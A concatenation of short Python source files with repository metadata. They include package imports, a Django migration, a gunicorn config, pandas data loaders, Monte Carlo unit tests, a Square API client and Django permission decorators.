6d2e202c86f1ea5c94010b058c9dacec2c943087
[ "MIT" ]
1
2020-05-17T23:26:10.000Z
2020-05-17T23:26:10.000Z
from dynamic_rules.rule_engine import evaluate_rules from dynamic_rules.rule_processing import load_rules
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8
50bcd98a444bb101bf107b50823a6f811af06bbf
178
py
Python
CDRTR/core/DeepModel/__init__.py
caoyulong/CDRTR
f61cf84c096a124066af90f6536d85be630ecdff
[ "BSD-2-Clause" ]
9
2019-07-05T14:49:25.000Z
2021-05-12T13:37:19.000Z
CDRTR/core/DeepModel/__init__.py
caoyulong/CDRTR
f61cf84c096a124066af90f6536d85be630ecdff
[ "BSD-2-Clause" ]
null
null
null
CDRTR/core/DeepModel/__init__.py
caoyulong/CDRTR
f61cf84c096a124066af90f6536d85be630ecdff
[ "BSD-2-Clause" ]
1
2021-02-13T14:00:26.000Z
2021-02-13T14:00:26.000Z
from .basic import cnn_text from .basic import factorization_machine from .basic import embedding_layer, embedding_lookup from .basic import EncDec, Encoder, Decoder, AutoEncDec
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50d2cc345b5ab53761ac1b8fe92b6afe74bc2a2d
149
py
Python
boxflow/interface/holoviews.py
ioam/flowbox
197b51c665e0de5266c0710e904fdfb733c95375
[ "BSD-3-Clause" ]
15
2017-03-17T08:20:20.000Z
2021-04-24T16:32:52.000Z
boxflow/interface/holoviews.py
ioam/flowbox
197b51c665e0de5266c0710e904fdfb733c95375
[ "BSD-3-Clause" ]
2
2017-10-10T10:08:36.000Z
2018-04-03T23:38:30.000Z
boxflow/interface/holoviews.py
ioam/boxflow
197b51c665e0de5266c0710e904fdfb733c95375
[ "BSD-3-Clause" ]
null
null
null
# Module adapting holoviews classes for use with boxflow # # from __future__ import absolute_import import holoviews def load_holoviews(): pass
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7
50deb81cb14ac8093bafb537620d8dd76df82646
217
py
Python
ctd_processing/ctd_files/seabird/__init__.py
sharksmhi/ctd_processing
616df4cd7ed626b678622448a08a0356086a8a3f
[ "MIT" ]
null
null
null
ctd_processing/ctd_files/seabird/__init__.py
sharksmhi/ctd_processing
616df4cd7ed626b678622448a08a0356086a8a3f
[ "MIT" ]
null
null
null
ctd_processing/ctd_files/seabird/__init__.py
sharksmhi/ctd_processing
616df4cd7ed626b678622448a08a0356086a8a3f
[ "MIT" ]
null
null
null
from .bl_file import * from .hdr_file import * from .modify import * from .file_pattern_nodc import * from .sbe_parent_class import * from .file_pattern_nodc import * from .file_pattern_old_processing_script import *
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0fa082d1178472699ce1840f4e0f330820d55f9c
168
py
Python
sidekick/api/views/__init__.py
cybera/netbox-sidekick
ec5e2080513d088e2604d8755f34b1d2592b95dd
[ "Apache-2.0" ]
3
2020-09-07T12:14:31.000Z
2021-11-11T11:46:43.000Z
sidekick/api/views/__init__.py
cybera/netbox-sidekick
ec5e2080513d088e2604d8755f34b1d2592b95dd
[ "Apache-2.0" ]
null
null
null
sidekick/api/views/__init__.py
cybera/netbox-sidekick
ec5e2080513d088e2604d8755f34b1d2592b95dd
[ "Apache-2.0" ]
null
null
null
from .device import DeviceCheckAccessView # noqa: F401 from .map import FullMapViewSet # noqa: F401 from .nic import NICListView # noqa: F401
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7
0fa606f8bbb2c063f90f4df17fc98ad233d4bb61
3,104
py
Python
dashboard/covid/migrations/0019_auto_20210131_2030.py
guiyshd/new-dashboard
78e43b066f153a902514a97a7e66349d2ffc9f36
[ "MIT" ]
null
null
null
dashboard/covid/migrations/0019_auto_20210131_2030.py
guiyshd/new-dashboard
78e43b066f153a902514a97a7e66349d2ffc9f36
[ "MIT" ]
null
null
null
dashboard/covid/migrations/0019_auto_20210131_2030.py
guiyshd/new-dashboard
78e43b066f153a902514a97a7e66349d2ffc9f36
[ "MIT" ]
null
null
null
# Generated by Django 3.1.5 on 2021-01-31 23:30 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('covid', '0018_auto_20210128_1109'), ] operations = [ migrations.AlterField( model_name='wcotabasenacional', name='city', field=models.TextField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='cod_regiaodesaude', field=models.FloatField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='country', field=models.TextField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='date', field=models.TextField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='deaths', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='deaths_by_totalcases', field=models.FloatField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='deaths_per_100k_inhabitants', field=models.FloatField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='field_source', field=models.TextField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='ibgeid', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='last_info_date', field=models.TextField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='name_regiaodesaude', field=models.TextField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='newcases', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='newdeaths', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='state', field=models.TextField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='totalcases', field=models.IntegerField(blank=True, null=True), ), migrations.AlterField( model_name='wcotabasenacional', name='totalcases_per_100k_inhabitants', field=models.FloatField(blank=True, null=True), ), ]
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10
0fbc3a54fa54315d31607af5fa3c1e946e5072f8
915
py
Python
build/scripts/overnight/python/example_exceptions.py
brezillon/opensplice
725ae9d949c83fce1746bd7d8a154b9d0a81fe3e
[ "Apache-2.0" ]
133
2017-11-09T02:10:00.000Z
2022-03-29T09:45:10.000Z
build/scripts/overnight/python/example_exceptions.py
brezillon/opensplice
725ae9d949c83fce1746bd7d8a154b9d0a81fe3e
[ "Apache-2.0" ]
131
2017-11-07T14:48:43.000Z
2022-03-13T15:30:47.000Z
build/scripts/overnight/python/example_exceptions.py
brezillon/opensplice
725ae9d949c83fce1746bd7d8a154b9d0a81fe3e
[ "Apache-2.0" ]
94
2017-11-09T02:26:19.000Z
2022-02-24T06:38:25.000Z
""" Exceptions module Defines the exceptions used """ class LogCheckFail(RuntimeError): """ Indicate a scenario failure. """ def __init__(self, reason): """ Constructor Parameters: reason: string the reason for the failure. """ RuntimeError.__init__(self, reason) class MissingExecutable(RuntimeError): """ Indicate a scenario failure. """ def __init__(self, reason): """ Constructor Parameters: reason: string the reason for the failure. """ RuntimeError.__init__(self, reason) class ExampleFail(RuntimeError): """ Indicate a scenario failure. """ def __init__(self, reason): """ Constructor Parameters: reason: string the reason for the failure. """ RuntimeError.__init__(self, reason)
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9
e8533e28942d2ceb7cf3c65de23b4ef04a26b2b8
147
py
Python
gunicorn_config.py
rishipathak6/Aspire
3f9e9108eb7a887fcbbc6732288d0097bdf2e37c
[ "Apache-2.0" ]
null
null
null
gunicorn_config.py
rishipathak6/Aspire
3f9e9108eb7a887fcbbc6732288d0097bdf2e37c
[ "Apache-2.0" ]
3
2021-09-08T02:32:23.000Z
2022-03-12T00:49:20.000Z
gunicorn_config.py
rishipathak6/Aspire
3f9e9108eb7a887fcbbc6732288d0097bdf2e37c
[ "Apache-2.0" ]
1
2019-10-19T08:11:08.000Z
2019-10-19T08:11:08.000Z
command = '/opt/django/aspire-django/env/bin/gunicorn' pythonpath = '/opt/django/aspire-django/aspire_project' bind = '127.0.0.1:8001' workers = 3
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7
e85a22e7d52a8fc8d048fce3abadd9d077eb41a3
1,406
py
Python
data_loader.py
BoykoMihail/marketBubblePrediction
beaaad50c709a6a4dffd4881e5648104a5c9d200
[ "MIT" ]
null
null
null
data_loader.py
BoykoMihail/marketBubblePrediction
beaaad50c709a6a4dffd4881e5648104a5c9d200
[ "MIT" ]
null
null
null
data_loader.py
BoykoMihail/marketBubblePrediction
beaaad50c709a6a4dffd4881e5648104a5c9d200
[ "MIT" ]
null
null
null
#!/usr/bin/env python import pkg_resources import pandas as pd def sp500_2017(): stream = pkg_resources.resource_stream(__name__, 'data/sp500_2017.csv') return pd.read_csv(stream, encoding='latin-1') def sp500_2000(): stream = pkg_resources.resource_stream(__name__, 'data/sp500_2000.csv') return pd.read_csv(stream, encoding='latin-1') def sp500_2019(): stream = pkg_resources.resource_stream(__name__, 'data/sp500_2019.csv') return pd.read_csv(stream, encoding='latin-1') def sp500_1990(): stream = pkg_resources.resource_stream(__name__, 'data/sp500_1990.csv') return pd.read_csv(stream, encoding='latin-1') def sp500_1970(): stream = pkg_resources.resource_stream(__name__, 'data/sp500_1970.csv') return pd.read_csv(stream, encoding='latin-1') def sp500_2007(): stream = pkg_resources.resource_stream(__name__, 'data/sp500_2007.csv') return pd.read_csv(stream, encoding='latin-1') def sp500_1926(): stream = pkg_resources.resource_stream(__name__, 'data/sp500_1926.csv') return pd.read_csv(stream, encoding='latin-1') def illumina_2001(): stream = pkg_resources.resource_stream(__name__, 'data/ILMN_2001.csv') return pd.read_csv(stream, encoding='latin-1') def illumina_2017(): stream = pkg_resources.resource_stream(__name__, 'data/ILMN_2017.csv') return pd.read_csv(stream, encoding='latin-1')
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7
e886bdddb1bfe22c0f280e700586be08c92136d8
12,628
py
Python
applications/MultilevelMonteCarloApplication/tests/test_xmcAlgorithm.py
SADPR/Kratos
82d1e335d2e7e674f77022a3d91c958168805d59
[ "BSD-4-Clause" ]
null
null
null
applications/MultilevelMonteCarloApplication/tests/test_xmcAlgorithm.py
SADPR/Kratos
82d1e335d2e7e674f77022a3d91c958168805d59
[ "BSD-4-Clause" ]
null
null
null
applications/MultilevelMonteCarloApplication/tests/test_xmcAlgorithm.py
SADPR/Kratos
82d1e335d2e7e674f77022a3d91c958168805d59
[ "BSD-4-Clause" ]
null
null
null
# Import python class test import unittest # Import python libraries import json import sys import os # Import xmc classes import xmc # Import PyCOMPSs # from exaqute.ExaquteTaskPyCOMPSs import get_value_from_remote # to execute with runcompss # from exaqute.ExaquteTaskHyperLoom import get_value_from_remote # to execute with the IT4 scheduler from exaqute.ExaquteTaskLocal import get_value_from_remote # to execute with python3 class TestXMCAlgorithm(unittest.TestCase): def test_mc_asynchronous_Kratos(self): # read parameters parametersList = ["parameters/parameters_xmc_test_mc_Kratos_asynchronous_poisson_2d.json", \ "parameters/parameters_xmc_test_mc_Kratos_asynchronous_poisson_2d_with_combined_power_sums.json", \ "parameters/parameters_xmc_test_mc_Kratos_asynchronous_poisson_2d_with_10_combined_power_sums.json", \ "parameters/parameters_xmc_test_mc_Kratos_poisson_2d.json", \ "parameters/parameters_xmc_test_mc_Kratos_poisson_2d_with_combined_power_sums.json"] for parametersPath in parametersList: with open(parametersPath,'r') as parameter_file: parameters = json.load(parameter_file) # add path of the problem folder to python path problem_id = parameters["solverWrapperInputDictionary"]["problemId"] sys.path.append(os.path.join("poisson_square_2d_xmc")) # SampleGenerator samplerInputDictionary = parameters["samplerInputDictionary"] samplerInputDictionary['randomGeneratorInputDictionary'] = parameters["randomGeneratorInputDictionary"] samplerInputDictionary['solverWrapperInputDictionary'] = parameters["solverWrapperInputDictionary"] # MonteCarloIndex monteCarloIndexInputDictionary = parameters["monteCarloIndexInputDictionary"] monteCarloIndexInputDictionary["samplerInputDictionary"] = samplerInputDictionary # Moment Estimators qoiEstimatorInputDictionary = parameters["qoiEstimatorInputDictionary"] combinedEstimatorInputDictionary = parameters["combinedEstimatorInputDictionary"] costEstimatorInputDictionary = parameters["costEstimatorInputDictionary"] # qoi estimators monteCarloIndexInputDictionary["qoiEstimator"] = [monteCarloIndexInputDictionary["qoiEstimator"][0] for _ in range (0,parameters["solverWrapperInputDictionary"]["numberQoI"])] monteCarloIndexInputDictionary["qoiEstimatorInputDictionary"] = [qoiEstimatorInputDictionary]*parameters["solverWrapperInputDictionary"]["numberQoI"] # combined estimators monteCarloIndexInputDictionary["combinedEstimator"] = [monteCarloIndexInputDictionary["combinedEstimator"][0] for _ in range (0,parameters["solverWrapperInputDictionary"]["numberCombinedQoi"])] monteCarloIndexInputDictionary["combinedEstimatorInputDictionary"] = [combinedEstimatorInputDictionary]*parameters["solverWrapperInputDictionary"]["numberCombinedQoi"] # cost estimator monteCarloIndexInputDictionary["costEstimatorInputDictionary"] = costEstimatorInputDictionary # MonoCriterion criteriaArray = [] criteriaInputs = [] for monoCriterion in (parameters["monoCriteriaInpuctDict"]): criteriaArray.append(xmc.monoCriterion.MonoCriterion(\ parameters["monoCriteriaInpuctDict"][monoCriterion]["criteria"],\ parameters["monoCriteriaInpuctDict"][monoCriterion]["tolerance"])) criteriaInputs.append([parameters["monoCriteriaInpuctDict"][monoCriterion]["input"]]) # MultiCriterion multiCriterionInputDictionary=parameters["multiCriterionInputDictionary"] multiCriterionInputDictionary["criteria"] = criteriaArray multiCriterionInputDictionary["inputsForCriterion"] = criteriaInputs criterion = xmc.multiCriterion.MultiCriterion(**multiCriterionInputDictionary) # ErrorEstimator statErrorEstimator = xmc.errorEstimator.ErrorEstimator(**parameters["errorEstimatorInputDictionary"]) # HierarchyOptimiser hierarchyCostOptimiser = xmc.hierarchyOptimiser.HierarchyOptimiser(**parameters["hierarchyOptimiserInputDictionary"]) # EstimationAssembler if "expectationAssembler" in parameters["estimationAssemblerInputDictionary"].keys(): expectationAssembler = xmc.estimationAssembler.EstimationAssembler(**parameters["estimationAssemblerInputDictionary"]["expectationAssembler"]) if "varianceAssembler" in parameters["estimationAssemblerInputDictionary"].keys(): varianceAssembler = xmc.estimationAssembler.EstimationAssembler(**parameters["estimationAssemblerInputDictionary"]["varianceAssembler"]) # MonteCarloSampler monteCarloSamplerInputDictionary = parameters["monteCarloSamplerInputDictionary"] monteCarloSamplerInputDictionary["indexConstructorDictionary"] = monteCarloIndexInputDictionary monteCarloSamplerInputDictionary["assemblers"] = [expectationAssembler,varianceAssembler] monteCarloSamplerInputDictionary["errorEstimators"] = [statErrorEstimator] mcSampler = xmc.monteCarloSampler.MonteCarloSampler(**monteCarloSamplerInputDictionary) # XMCAlgorithm XMCAlgorithmInputDictionary = parameters["XMCAlgorithmInputDictionary"] XMCAlgorithmInputDictionary["monteCarloSampler"] = mcSampler XMCAlgorithmInputDictionary["hierarchyOptimiser"] = hierarchyCostOptimiser XMCAlgorithmInputDictionary["stoppingCriterion"] = criterion algo = xmc.XMCAlgorithm(**XMCAlgorithmInputDictionary) if (parameters["solverWrapperInputDictionary"]["asynchronous"] is True): algo.runAsynchronousXMC() else: algo.runXMC() # test estimations = get_value_from_remote(algo.estimation()) estimated_mean = 1.5 self.assertAlmostEqual(estimations[0],estimated_mean,delta=0.1) self.assertEqual(algo.monteCarloSampler.indices[0].costEstimator._sampleCounter,15) def test_mlmc_asynchronous_Kratos(self): # read parameters parametersList = ["parameters/parameters_xmc_test_mlmc_Kratos_asynchronous_poisson_2d.json", \ "parameters/parameters_xmc_test_mlmc_Kratos_asynchronous_poisson_2d_with_combined_power_sums.json", \ "parameters/parameters_xmc_test_mlmc_Kratos_poisson_2d.json", \ "parameters/parameters_xmc_test_mlmc_Kratos_poisson_2d_with_combined_power_sums.json"] for parametersPath in parametersList: with open(parametersPath,'r') as parameter_file: parameters = json.load(parameter_file) # add path of the problem folder to python path problem_id = parameters["solverWrapperInputDictionary"]["problemId"] sys.path.append(os.path.join("poisson_square_2d_xmc")) # SampleGenerator samplerInputDictionary = parameters["samplerInputDictionary"] samplerInputDictionary['randomGeneratorInputDictionary'] = parameters["randomGeneratorInputDictionary"] samplerInputDictionary['solverWrapperInputDictionary'] = parameters["solverWrapperInputDictionary"] # MonteCarloIndex Constructor monteCarloIndexInputDictionary = parameters["monteCarloIndexInputDictionary"] monteCarloIndexInputDictionary["samplerInputDictionary"] = samplerInputDictionary # Moment Estimators qoiEstimatorInputDictionary = parameters["qoiEstimatorInputDictionary"] combinedEstimatorInputDictionary = parameters["combinedEstimatorInputDictionary"] costEstimatorInputDictionary = parameters["costEstimatorInputDictionary"] # qoi estimators monteCarloIndexInputDictionary["qoiEstimator"] = [monteCarloIndexInputDictionary["qoiEstimator"][0] for _ in range (0,parameters["solverWrapperInputDictionary"]["numberQoI"])] monteCarloIndexInputDictionary["qoiEstimatorInputDictionary"] = [qoiEstimatorInputDictionary]*parameters["solverWrapperInputDictionary"]["numberQoI"] # combined estimators monteCarloIndexInputDictionary["combinedEstimator"] = [monteCarloIndexInputDictionary["combinedEstimator"][0] for _ in range (0,parameters["solverWrapperInputDictionary"]["numberCombinedQoi"])] monteCarloIndexInputDictionary["combinedEstimatorInputDictionary"] = [combinedEstimatorInputDictionary]*parameters["solverWrapperInputDictionary"]["numberCombinedQoi"] # cost estimator monteCarloIndexInputDictionary["costEstimatorInputDictionary"] = costEstimatorInputDictionary # MonoCriterion criteriaArray = [] criteriaInputs = [] for monoCriterion in (parameters["monoCriteriaInpuctDict"]): criteriaArray.append(xmc.monoCriterion.MonoCriterion(\ parameters["monoCriteriaInpuctDict"][monoCriterion]["criteria"],\ parameters["monoCriteriaInpuctDict"][monoCriterion]["tolerance"])) criteriaInputs.append([parameters["monoCriteriaInpuctDict"][monoCriterion]["input"]]) # MultiCriterion multiCriterionInputDictionary=parameters["multiCriterionInputDictionary"] multiCriterionInputDictionary["criteria"] = criteriaArray multiCriterionInputDictionary["inputsForCriterion"] = criteriaInputs criterion = xmc.multiCriterion.MultiCriterion(**multiCriterionInputDictionary) # ErrorEstimator MSEErrorEstimator = xmc.errorEstimator.ErrorEstimator(**parameters["errorEstimatorInputDictionary"]) # HierarchyOptimiser hierarchyCostOptimiser = xmc.hierarchyOptimiser.HierarchyOptimiser(**parameters["hierarchyOptimiserInputDictionary"]) # EstimationAssembler if "expectationAssembler" in parameters["estimationAssemblerInputDictionary"].keys(): expectationAssembler = xmc.estimationAssembler.EstimationAssembler(**parameters["estimationAssemblerInputDictionary"]["expectationAssembler"]) if "discretizationErrorAssembler" in parameters["estimationAssemblerInputDictionary"].keys(): discretizationErrorAssembler = xmc.estimationAssembler.EstimationAssembler(**parameters["estimationAssemblerInputDictionary"]["discretizationErrorAssembler"]) if "varianceAssembler" in parameters["estimationAssemblerInputDictionary"].keys(): varianceAssembler = xmc.estimationAssembler.EstimationAssembler(**parameters["estimationAssemblerInputDictionary"]["varianceAssembler"]) # MonteCarloSampler monteCarloSamplerInputDictionary = parameters["monteCarloSamplerInputDictionary"] monteCarloSamplerInputDictionary["indexConstructorDictionary"] = monteCarloIndexInputDictionary monteCarloSamplerInputDictionary["assemblers"] = [expectationAssembler,discretizationErrorAssembler,varianceAssembler] monteCarloSamplerInputDictionary["errorEstimators"] = [MSEErrorEstimator] mcSampler = xmc.monteCarloSampler.MonteCarloSampler(**monteCarloSamplerInputDictionary) # XMCAlgorithm XMCAlgorithmInputDictionary = parameters["XMCAlgorithmInputDictionary"] XMCAlgorithmInputDictionary["monteCarloSampler"] = mcSampler XMCAlgorithmInputDictionary["hierarchyOptimiser"] = hierarchyCostOptimiser XMCAlgorithmInputDictionary["stoppingCriterion"] = criterion algo = xmc.XMCAlgorithm(**XMCAlgorithmInputDictionary) if (parameters["solverWrapperInputDictionary"]["asynchronous"] is True): algo.runAsynchronousXMC() else: algo.runXMC() # test estimations = get_value_from_remote(algo.estimation()) estimated_mean = 1.47 self.assertAlmostEqual(estimations[0],estimated_mean,delta=1.0) self.assertEqual(algo.monteCarloSampler.indices[0].costEstimator._sampleCounter,15) # level 0 self.assertEqual(algo.monteCarloSampler.indices[1].costEstimator._sampleCounter,15) # level 1 self.assertEqual(algo.monteCarloSampler.indices[2].costEstimator._sampleCounter,15) # level 2 if __name__ == '__main__': unittest.main()
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12,628
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0
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8
e8a39caeaa2ffe1151301a707fa9886859204d03
165
py
Python
fairseq_ext/__init__.py
IBM/transition-amr-parser
dfd8352ea2ee3ff153b691edb6cd7ee541d53b2e
[ "Apache-2.0" ]
76
2019-11-25T04:00:15.000Z
2022-03-31T00:33:44.000Z
fairseq_ext/__init__.py
IBM/transition-amr-parser
dfd8352ea2ee3ff153b691edb6cd7ee541d53b2e
[ "Apache-2.0" ]
22
2019-10-10T09:39:24.000Z
2022-03-28T06:39:06.000Z
fairseq_ext/__init__.py
IBM/transition-amr-parser
dfd8352ea2ee3ff153b691edb6cd7ee541d53b2e
[ "Apache-2.0" ]
20
2019-10-08T17:02:17.000Z
2022-03-20T01:43:42.000Z
# to register all the user defined modules to fairseq import fairseq_ext.criterions # noqa import fairseq_ext.models # noqa import fairseq_ext.tasks # noqa
33
53
0.769697
24
165
5.166667
0.583333
0.314516
0.387097
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0.187879
165
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8
2cebdbc8b84264e3d13f4d9a1a1ff7a419f735e0
119
py
Python
torch_ac/algos/__init__.py
jsikyoon/torch-ac
4d44ed3eb7a81a583a0c9619e0d4fb142a4a3d6b
[ "MIT" ]
1
2021-03-19T02:59:45.000Z
2021-03-19T02:59:45.000Z
torch_ac/algos/__init__.py
jsikyoon/torch-ac
4d44ed3eb7a81a583a0c9619e0d4fb142a4a3d6b
[ "MIT" ]
null
null
null
torch_ac/algos/__init__.py
jsikyoon/torch-ac
4d44ed3eb7a81a583a0c9619e0d4fb142a4a3d6b
[ "MIT" ]
1
2021-12-12T18:22:03.000Z
2021-12-12T18:22:03.000Z
from torch_ac.algos.a2c import A2CAlgo from torch_ac.algos.ppo import PPOAlgo from torch_ac.algos.vmpo import VMPOAlgo
29.75
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7
2cf53bd8619663ea95a94c01698a295351390604
7,947
py
Python
square/api/reporting_api.py
hellysmile/square-python-sdk
5e68efd2c4a2210ef681e87710eba981a019dd08
[ "Apache-2.0" ]
null
null
null
square/api/reporting_api.py
hellysmile/square-python-sdk
5e68efd2c4a2210ef681e87710eba981a019dd08
[ "Apache-2.0" ]
null
null
null
square/api/reporting_api.py
hellysmile/square-python-sdk
5e68efd2c4a2210ef681e87710eba981a019dd08
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ square This file was automatically generated by APIMATIC v2.0 ( https://apimatic.io ). """ from deprecation import deprecated from square.api_helper import APIHelper from square.http.api_response import ApiResponse from square.api.base_api import BaseApi from square.http.auth.o_auth_2 import OAuth2 class ReportingApi(BaseApi): """A Controller to access Endpoints in the square API.""" def __init__(self, config, call_back=None): super(ReportingApi, self).__init__(config, call_back) @deprecated() def list_additional_recipient_receivable_refunds(self, location_id, begin_time=None, end_time=None, sort_order=None, cursor=None): """Does a GET request to /v2/locations/{location_id}/additional-recipient-receivable-refunds. Returns a list of refunded transactions (across all possible originating locations) relating to monies credited to the provided location ID by another Square account using the `additional_recipients` field in a transaction. Max results per [page](#paginatingresults): 50 Args: location_id (string): The ID of the location to list AdditionalRecipientReceivableRefunds for. begin_time (string, optional): The beginning of the requested reporting period, in RFC 3339 format. See [Date ranges](#dateranges) for details on date inclusivity/exclusivity. Default value: The current time minus one year. end_time (string, optional): The end of the requested reporting period, in RFC 3339 format. See [Date ranges](#dateranges) for details on date inclusivity/exclusivity. Default value: The current time. sort_order (SortOrder, optional): The order in which results are listed in the response (`ASC` for oldest first, `DESC` for newest first). Default value: `DESC` cursor (string, optional): A pagination cursor returned by a previous call to this endpoint. Provide this to retrieve the next set of results for your original query. See [Paginating results](#paginatingresults) for more information. Returns: ListAdditionalRecipientReceivableRefundsResponse: Response from the API. Success Raises: APIException: When an error occurs while fetching the data from the remote API. This exception includes the HTTP Response code, an error message, and the HTTP body that was received in the request. """ # Prepare query URL _url_path = '/v2/locations/{location_id}/additional-recipient-receivable-refunds' _url_path = APIHelper.append_url_with_template_parameters(_url_path, { 'location_id': location_id }) _query_builder = self.config.get_base_uri() _query_builder += _url_path _query_parameters = { 'begin_time': begin_time, 'end_time': end_time, 'sort_order': sort_order, 'cursor': cursor } _query_builder = APIHelper.append_url_with_query_parameters( _query_builder, _query_parameters ) _query_url = APIHelper.clean_url(_query_builder) # Prepare headers _headers = { 'accept': 'application/json' } # Prepare and execute request _request = self.config.http_client.get(_query_url, headers=_headers) OAuth2.apply(self.config, _request) _response = self.execute_request(_request) decoded = APIHelper.json_deserialize(_response.text) if type(decoded) is dict: _errors = decoded.get('errors') else: _errors = None _result = ApiResponse(_response, body=decoded, errors=_errors) return _result @deprecated() def list_additional_recipient_receivables(self, location_id, begin_time=None, end_time=None, sort_order=None, cursor=None): """Does a GET request to /v2/locations/{location_id}/additional-recipient-receivables. Returns a list of receivables (across all possible sending locations) representing monies credited to the provided location ID by another Square account using the `additional_recipients` field in a transaction. Max results per [page](#paginatingresults): 50 Args: location_id (string): The ID of the location to list AdditionalRecipientReceivables for. begin_time (string, optional): The beginning of the requested reporting period, in RFC 3339 format. See [Date ranges](#dateranges) for details on date inclusivity/exclusivity. Default value: The current time minus one year. end_time (string, optional): The end of the requested reporting period, in RFC 3339 format. See [Date ranges](#dateranges) for details on date inclusivity/exclusivity. Default value: The current time. sort_order (SortOrder, optional): The order in which results are listed in the response (`ASC` for oldest first, `DESC` for newest first). Default value: `DESC` cursor (string, optional): A pagination cursor returned by a previous call to this endpoint. Provide this to retrieve the next set of results for your original query. See [Paginating results](#paginatingresults) for more information. Returns: ListAdditionalRecipientReceivablesResponse: Response from the API. Success Raises: APIException: When an error occurs while fetching the data from the remote API. This exception includes the HTTP Response code, an error message, and the HTTP body that was received in the request. """ # Prepare query URL _url_path = '/v2/locations/{location_id}/additional-recipient-receivables' _url_path = APIHelper.append_url_with_template_parameters(_url_path, { 'location_id': location_id }) _query_builder = self.config.get_base_uri() _query_builder += _url_path _query_parameters = { 'begin_time': begin_time, 'end_time': end_time, 'sort_order': sort_order, 'cursor': cursor } _query_builder = APIHelper.append_url_with_query_parameters( _query_builder, _query_parameters ) _query_url = APIHelper.clean_url(_query_builder) # Prepare headers _headers = { 'accept': 'application/json' } # Prepare and execute request _request = self.config.http_client.get(_query_url, headers=_headers) OAuth2.apply(self.config, _request) _response = self.execute_request(_request) decoded = APIHelper.json_deserialize(_response.text) if type(decoded) is dict: _errors = decoded.get('errors') else: _errors = None _result = ApiResponse(_response, body=decoded, errors=_errors) return _result
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8
fa23706ab7a579acbe270a2e19ee3ed857c0aff7
1,467
py
Python
common/perm.py
BUPT-XJBGroup/BOJ-V4
31078ab998d0a786c6742b8f7c65f2e4d9642844
[ "MIT" ]
null
null
null
common/perm.py
BUPT-XJBGroup/BOJ-V4
31078ab998d0a786c6742b8f7c65f2e4d9642844
[ "MIT" ]
null
null
null
common/perm.py
BUPT-XJBGroup/BOJ-V4
31078ab998d0a786c6742b8f7c65f2e4d9642844
[ "MIT" ]
null
null
null
from functools import wraps from contest.models import Contest from django.http import HttpResponseRedirect, JsonResponse, Http404 def view_permission_required(func): def decorator(func): @wraps(func) def returned_wrapper(request, *args, **kwargs): pk = kwargs.get('pk') contest = Contest.objects.filter(pk=pk).first() if pk and contest: if request.user.has_perm('ojuser.view_groupprofile', contest.group) and contest.ended() >= 0: return func(request, *args, **kwargs) elif request.user.has_perm('ojuser.change_groupprofile', contest.group): return func(request, *args, **kwargs) raise Http404() return returned_wrapper if not func: def foo(func): return decorator(func) return foo return decorator(func) def change_permission_required(func): def decorator(func): @wraps(func) def returned_wrapper(request, *args, **kwargs): pk = kwargs.get('pk') contest = Contest.objects.filter(pk=pk).first() if pk and contest and request.user.has_perm('ojuser.change_groupprofile', contest.group): return func(request, *args, **kwargs) raise Http404() return returned_wrapper if not func: def foo(func): return decorator(func) return foo return decorator(func)
34.116279
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0.611452
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1,467
5.351515
0.260606
0.055493
0.096263
0.061155
0.793884
0.736127
0.736127
0.736127
0.736127
0.736127
0
0.009597
0.289707
1,467
42
110
34.928571
0.837812
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0.083333
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8
fa3ab431dde8781bff5297c9338140fd849c8037
98
py
Python
apps/validators/password_validator.py
LucasRohr/flask-api
42e971a60ad0e32f8b59ec22089e8d39aecce595
[ "BSD-3-Clause" ]
1
2020-02-15T02:22:48.000Z
2020-02-15T02:22:48.000Z
apps/validators/password_validator.py
LucasRohr/flask-api
42e971a60ad0e32f8b59ec22089e8d39aecce595
[ "BSD-3-Clause" ]
6
2020-03-24T18:15:25.000Z
2021-12-13T20:32:44.000Z
apps/validators/password_validator.py
LucasRohr/flask-api
42e971a60ad0e32f8b59ec22089e8d39aecce595
[ "BSD-3-Clause" ]
null
null
null
def check_password_in_signup(password, confirm_password): return password == confirm_password
32.666667
57
0.826531
12
98
6.333333
0.583333
0.394737
0.605263
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98
2
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0.873563
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1
0
1
1
0
0
8
d76f95c95dfc12899629fdabbffedc6ed60d2389
2,586
py
Python
tests/types/test_array.py
manoadamro/flapi-schema
840cfe4bd0ff1e057c3ace9931bd35d8fdaf7808
[ "MIT" ]
null
null
null
tests/types/test_array.py
manoadamro/flapi-schema
840cfe4bd0ff1e057c3ace9931bd35d8fdaf7808
[ "MIT" ]
null
null
null
tests/types/test_array.py
manoadamro/flapi-schema
840cfe4bd0ff1e057c3ace9931bd35d8fdaf7808
[ "MIT" ]
null
null
null
